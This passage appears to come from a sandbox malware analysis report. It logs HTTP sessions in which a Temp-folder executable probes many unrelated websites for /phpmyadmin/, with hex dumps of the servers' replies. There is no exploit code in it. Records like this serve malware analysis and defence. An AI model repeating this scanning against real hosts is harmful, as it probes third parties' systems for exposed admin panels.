2023-12-20 02:13:21 UTC	1474	IN	Data Raw: 20 2d 2d 3e 0a 09 3c 76 69 64 65 6f 20 73 72 63 3d 22 76 69 64 65 6f 73 2f 72 65 76 65 69 6c 6c 6f 6e 2d 63 6f 6c 6c 2e 6d 70 34 22 20 77 69 64 74 68 3d 38 30 30 20 63 6f 6e 74 72 6f 6c 73 20 70 6f 73 74 65 72 3d 22 69 6d 61 67 65 2d 76 69 64 65 6f 2d 63 6f 6c 6c 2e 67 69 66 22 20 70 72 65 6c 6f 61 64 3d 22 6e 6f 6e 65 22 20 61 75 74 6f 70 6c 61 79 3d 22 66 61 6c 73 65 22 3e 20 0a 09 09 09 09 09 09 43 65 74 74 65 20 76 69 64 e9 6f 20 6e 65 20 70 65 75 74 20 ea 74 72 65 20 61 66 66 69 63 68 e9 65 20 73 75 72 20 76 6f 74 72 65 20 6e 61 76 69 67 61 74 65 75 72 20 49 6e 74 65 72 6e 65 74 2e 3c 62 72 3e 0a 09 09 09 09 09 09 55 6e 65 20 76 65 72 73 69 6f 6e 20 65 73 74 20 64 69 73 70 6f 6e 69 62 6c 65 20 65 6e 20 74 e9 6c e9 63 68 61 72 67 65 6d 65 6e 74 20 73 Data Ascii: --><video src="videos/reveillon-coll.mp4" width=800 controls poster="image-video-coll.gif" preload="none" autoplay="false"> Cette vido ne peut tre affiche sur votre navigateur Internet.<br>Une version est disponible en tlchargement s
2023-12-20 02:13:21 UTC	2896	IN	Data Raw: 31 32 37 62 0d 0a 22 20 6f 6e 62 6c 75 72 3d 22 76 65 72 69 66 4e 6f 6d 28 74 68 69 73 29 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 72 6f 6e 67 3e 50 72 26 65 61 63 75 74 65 3b 6e 6f 6d 20 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 66 66 30 30 30 30 3b 22 3e 2a 3c 2f 73 70 61 6e 3e 3a 3c 2f 73 74 72 6f 6e 67 3e 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 70 72 65 6e 6f 6d 22 3e 3c 2f 6c 61 62 65 6c 3e 20 3c 69 6e 70 75 74 20 69 64 3d 22 70 72 65 6e 6f 6d 22 20 6e 61 6d 65 3d 22 70 72 65 6e 6f 6d 22 20 73 69 7a 65 3d 22 32 37 22 20 74 79 70 65 3d 22 74 65 78 74 22 20 76 61 6c 75 65 3d 22 22 20 6f 6e 62 6c 75 72 3d 22 76 65 72 69 66 50 72 65 6e 6f 6d 28 74 68 69 Data Ascii: 127b" onblur="verifNom(this)" /> <strong>Prénom <span style="color: #ff0000;">*</span>:</strong> <label for="prenom"></label> <input id="prenom" name="prenom" size="27" type="text" value="" onblur="verifPrenom(thi
2023-12-20 02:13:21 UTC	1843	IN	Data Raw: 6e 3d 22 32 22 3e 3c 70 3e 3c 66 6f 6e 74 20 73 69 7a 65 3d 22 32 22 20 66 61 63 65 3d 22 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 22 20 63 6f 6c 6f 72 3d 22 23 43 43 43 43 43 43 22 3e 77 77 77 2e 65 62 2d 63 6f 6e 63 65 70 74 2e 63 6f 6d 20 0a 20 20 20 20 20 20 20 20 2d 20 61 6e 69 6d 61 74 69 6f 6e 20 63 6f 6d 6d 65 72 63 69 61 6c 65 20 2d 20 63 6f 6e 63 65 70 74 65 75 72 20 64 27 61 6e 69 6d 61 74 69 6f 6e 73 20 2d 20 61 6e 69 6d 61 74 69 6f 6e 73 20 70 6f 75 72 20 63 65 6e 74 72 65 73 20 0a 20 20 20 20 20 20 20 20 63 6f 6d 6d 65 72 63 69 61 75 78 20 2d 20 66 6f 69 72 65 73 20 65 78 70 6f 73 69 74 69 6f 6e 73 20 2d 20 70 72 6f 64 75 63 74 69 6f 6e 20 64 27 26 65 61 63 75 74 65 3b 76 26 65 61 63 75 74 65 3b 6e Data Ascii: n="2"><p><font size="2" face="Arial, Helvetica, sans-serif" color="#CCCCCC">www.eb-concept.com - animation commerciale - concepteur d'animations - animations pour centres commerciaux - foires expositions - production d'évén
2023-12-20 02:13:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	51641	69.49.101.57	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	171	OUT	GET /phpmyadmin/ HTTP/1.1 Host: jgarch.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	234	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Content-Length: 213 Connection: close Last-Modified: Fri, 08 Jul 2022 11:00:24 GMT Strict-Transport-Security: max-age=15768000 Accept-Ranges: bytes
2023-12-20 02:13:20 UTC	213	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 55 6e 73 75 70 70 6f 72 74 65 64 20 73 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 55 6e 73 75 70 70 6f 72 74 65 64 20 73 65 72 76 69 63 65 3c 2f 68 31 3e 0a 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 69 73 20 6e 6f 74 20 63 6f 6e 66 69 67 75 72 65 64 20 66 6f 72 20 74 68 69 73 20 73 65 72 76 69 63 65 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 77 65 62 6d 61 73 74 65 72 20 74 6f 20 68 61 76 65 20 69 74 20 65 6e 61 62 6c 65 64 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Unsupported service</title></head><body><h1>Unsupported service</h1><p>This domain is not configured for this service. Please contact the webmaster to have it enabled.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	51649	199.60.103.25	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	185	OUT	GET /phpmyadmin/ HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	1187	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/phpmyadmin/ Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Set-Cookie: __cf_bm=oP6ilQZ0dnirqv0n7MtsXN4Xo36OUG0HeBhu77E.omM-1703038400-1-AWuOgWAbXkFAfwvE+HLotNFbRM5BGHGMTY4pZjeWK3a0SS4u21Z4qoaok6R7TImAX0QzIT89e8W/7ZM55sXGAbE=; path=/; expires=Wed, 20-Dec-23 02:43:20 GMT; domain=.greenlawnfertilizing.com; HttpOnly; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zVd11bY0jzA8MZ%2BYVyMFpxMhHC5FSSmxT25k2CO3495uQxTi3h32CkLMrPsgYoG7BhXDIuR6U%2Bjs%2FGT8metkjo0eg74BEruGSNdOMF4tqogs878%2BjCZW%2BkZdqQcunYs7MefRAKGA2T4scw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Set-Cookie: __cfruid=57cae84e42777c96375a154584ecac4b9a349eab-1703038400; path=/; domain=.greenlawnfertilizing.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 83845d930b4e0a3a-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	51674	199.59.243.225	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: onjevilla.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	689	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1033 X-Request-Id: abe8f5c0-2589-4d4e-8614-59e7ab4ff0ce Cache-Control: no-store, max-age=0 Accept-Ch: sec-ch-prefers-color-scheme Critical-Ch: sec-ch-prefers-color-scheme Vary: sec-ch-prefers-color-scheme X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_U9L5TfFCaf+5kfFW6eZPhhDMBpy+ATxHfTKuBa1nNJ85e9WTh8fRoMygXoeXGD53Ms7QM9IJfVXG8U/STjElRQ== Set-Cookie: parking_session=abe8f5c0-2589-4d4e-8614-59e7ab4ff0ce; expires=Wed, 20 Dec 2023 02:28:20 GMT; path=/ Connection: close
2023-12-20 02:13:20 UTC	497	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 55 39 4c 35 54 66 46 43 61 66 2b 35 6b 66 46 57 36 65 5a 50 68 68 44 4d 42 70 79 2b 41 54 78 48 66 54 4b 75 42 61 31 6e 4e 4a 38 35 65 39 57 54 68 38 66 52 6f 4d 79 67 58 6f 65 58 47 44 35 33 4d 73 37 51 4d 39 49 4a 66 56 58 47 38 55 2f 53 54 6a 45 6c 52 51 3d Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_U9L5TfFCaf+5kfFW6eZPhhDMBpy+ATxHfTKuBa1nNJ85e9WTh8fRoMygXoeXGD53Ms7QM9IJfVXG8U/STjElRQ=
2023-12-20 02:13:20 UTC	536	IN	Data Raw: 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 70 61 72 6b 20 3d 20 22 65 79 4a 31 64 57 6c 6b 49 6a 6f 69 59 57 4a 6c 4f 47 59 31 59 7a 41 74 4d 6a 55 34 4f 53 30 30 5a 44 52 6c 4c 54 67 32 4d 54 51 74 4e 54 6c 6c 4e 32 46 69 4e 47 5a 6d 4d 47 4e 6c 49 69 77 69 63 47 46 6e 5a 56 39 30 61 57 31 6c 49 6a 6f 78 4e Data Ascii: zFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYWJlOGY1YzAtMjU4OS00ZDRlLTg2MTQtNTllN2FiNGZmMGNlIiwicGFnZV90aW1lIjoxN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50884	199.34.228.152	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: lisvankooten.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	205	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache Location: https://www.lisvankooten.com/phpmyadmin/ Content-Length: 248 Content-Type: text/html; charset=iso-8859-1
2023-12-20 02:13:20 UTC	248	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 73 76 61 6e 6b 6f 6f 74 65 6e 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.lisvankooten.com/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	51392	217.160.0.164	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: schelberg.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	168	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 1271 Connection: close Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache X-Frame-Options: deny
2023-12-20 02:13:20 UTC	1271	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <style type="text/css"> html, body, #partner, iframe { height:100%; width:100%; margin:0; padding:0; border:0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	51340	217.19.254.237	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	170	OUT	GET /phpmyadmin/ HTTP/1.1 Host: tgcan.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	382	IN	HTTP/1.1 404 Not Found Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.2 Link: <https://www.tgcan.co.uk/wp-json/>; rel="https://api.w.org/" X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:21 GMT Connection: close Content-Length: 42039
2023-12-20 02:13:21 UTC	16002	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 61 76 61 64 61 2d 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 77 69 64 65 20 61 76 61 64 61 2d 68 74 6d 6c 2d 68 65 61 64 65 72 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 Data Ascii: <!DOCTYPE html><html class="avada-html-layout-wide avada-html-header-position-top" lang="en-GB" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#"><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta http-equiv="Content-Type" cont
2023-12-20 02:13:21 UTC	16384	IN	Data Raw: 63 6f 6e 74 61 63 74 2f 22 3e 43 4f 4e 54 41 43 54 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 75 73 69 6f 6e 2d 63 6f 6c 75 6d 6e 20 63 6f 6c 2d 6c 67 2d 34 20 63 6f 6c 2d 6d 64 2d 34 20 63 6f 6c 2d 73 6d 2d 34 20 66 75 73 69 6f 6e 2d 65 72 72 6f 72 2d 70 61 67 65 2d 73 65 61 72 63 68 22 3e 0a 09 09 09 09 09 09 3c 68 33 3e 53 65 61 72 63 68 20 4f 75 72 20 57 65 62 73 69 74 65 3c 2f 68 33 3e 0a 09 09 09 09 09 09 3c 70 3e 43 61 6e 26 23 30 33 39 3b 74 20 66 69 6e 64 20 77 68 61 74 20 79 6f 75 20 6e 65 65 64 3f 20 54 61 6b 65 20 61 20 6d 6f 6d 65 6e 74 20 61 6e 64 20 64 6f 20 61 20 73 65 61 72 63 68 20 62 65 6c 6f 77 21 3c 2f 70 3e 0a 09 09 09 09 09 09 Data Ascii: contact/">CONTACT</a></div></li></ul></div><div class="fusion-column col-lg-4 col-md-4 col-sm-4 fusion-error-page-search"><h3>Search Our Website</h3><p>Can't find what you need? Take a moment and do a search below!</p>
2023-12-20 02:13:21 UTC	9653	IN	Data Raw: 6a 73 3f 76 65 72 3d 31 27 20 69 64 3d 27 66 75 73 69 6f 6e 2d 6c 69 67 68 74 62 6f 78 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 69 64 3d 27 66 75 73 69 6f 6e 2d 66 6c 65 78 73 6c 69 64 65 72 2d 6a 73 2d 65 78 74 72 61 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 66 75 73 69 6f 6e 46 6c 65 78 53 6c 69 64 65 72 56 61 72 73 20 3d 20 7b 22 73 74 61 74 75 73 5f 76 69 6d 65 6f 22 3a 22 31 22 2c 22 73 6c 69 64 65 73 68 6f 77 5f 61 75 74 6f 70 6c 61 79 22 3a 22 31 22 2c 22 73 6c 69 64 65 73 68 6f 77 5f 73 70 65 65 64 22 3a 22 37 30 30 30 22 2c 22 70 61 67 69 6e 61 74 69 6f 6e 5f 76 69 64 65 6f 5f 73 6c 69 64 65 22 3a 22 22 2c 22 73 74 61 74 75 Data Ascii: js?ver=1' id='fusion-lightbox-js'></script><script type='text/javascript' id='fusion-flexslider-js-extra'>/* <![CDATA[ */var fusionFlexSliderVars = {"status_vimeo":"1","slideshow_autoplay":"1","slideshow_speed":"7000","pagination_video_slide":"","statu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	52073	23.227.38.32	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: artusopastry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	1354	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 X-Storefront-Renderer-Rendered: 1 ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592" Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin Set-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:20 GMT Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:20 GMT; SameSite=Lax Set-Cookie: _shopify_y=5df8d8bd-f19d-4119-9e10-297449384ff8; Expires=Thu, 19-Dec-24 02:13:20 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=43f457cb-a51f-4670-9ec9-5b6bb1b34b71; Expires=Wed, 20-Dec-23 02:43:20 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax X-Cache: hit, server X-Frame-Options: DENY Content-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests; Strict-Transport-Security: max-age=7889238 X-ShopId: 1584544 X-ShardId: 312 Vary: Accept Content-Language: en powered-by: Shopify
2023-12-20 02:13:20 UTC	926	IN	Data Raw: 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 3a 20 70 72 6f 63 65 73 73 69 6e 67 3b 64 75 72 3d 31 31 2c 20 64 62 3b 64 75 72 3d 34 2c 20 61 73 6e 3b 64 65 73 63 3d 22 31 37 34 22 2c 20 65 64 67 65 3b 64 65 73 63 3d 22 4d 49 41 22 2c 20 63 6f 75 6e 74 72 79 3b 64 65 73 63 3d 22 55 53 22 2c 20 74 68 65 6d 65 3b 64 65 73 63 3d 22 38 34 30 39 31 37 39 37 35 39 30 22 2c 20 70 61 67 65 54 79 70 65 3b 64 65 73 63 3d 22 34 30 34 22 2c 20 73 65 72 76 65 64 42 79 3b 64 65 73 63 3d 22 6d 39 74 77 22 2c 20 72 65 71 75 65 73 74 49 44 3b 64 65 73 63 3d 22 30 31 66 38 30 37 35 33 2d 32 32 39 36 2d 34 38 64 36 2d 39 65 62 31 2d 65 65 66 39 35 39 36 31 39 33 63 62 22 0d 0a 58 2d 53 68 6f 70 69 66 79 2d 53 74 61 67 65 3a 20 70 72 6f 64 75 63 74 69 6f 6e 0d 0a 58 2d 52 65 71 75 Data Ascii: Server-Timing: processing;dur=11, db;dur=4, asn;desc="174", edge;desc="MIA", country;desc="US", theme;desc="84091797590", pageType;desc="404", servedBy;desc="m9tw", requestID;desc="01f80753-2296-48d6-9eb1-eef9596193cb"X-Shopify-Stage: productionX-Requ
2023-12-20 02:13:20 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 21 2d 2d 20 42 61 73 69 63 20 70 61 67 65 20 6e 65 65 64 73 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 0a 20 20 0a 0a 20 20 3c 21 2d 2d 20 54 69 74 6c 65 20 61 6e 64 20 64 65 73 Data Ascii: 7ffa<!doctype html><html class="no-js" lang="en"><head> ... Basic page needs ================================================== --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> ... Title and des
2023-12-20 02:13:20 UTC	1369	IN	Data Raw: 66 35 30 35 62 64 61 63 30 34 33 5f 31 32 30 30 78 31 32 30 30 2e 70 6e 67 3f 76 3d 31 37 30 30 34 32 33 38 36 36 22 3e 0a 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6f 6b 69 65 73 2c 20 63 61 6b 65 73 2c 20 70 61 73 74 72 69 65 73 20 61 72 65 20 61 6c 6c 20 73 79 6e 6f 6e 79 6d 6f 75 73 20 77 69 74 68 20 41 72 74 75 73 6f 20 50 61 73 74 72 Data Ascii: f505bdac043_1200x1200.png?v=1700423866"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:title" content="404 Not Found"><meta name="twitter:description" content="Cookies, cakes, pastries are all synonymous with Artuso Pastr
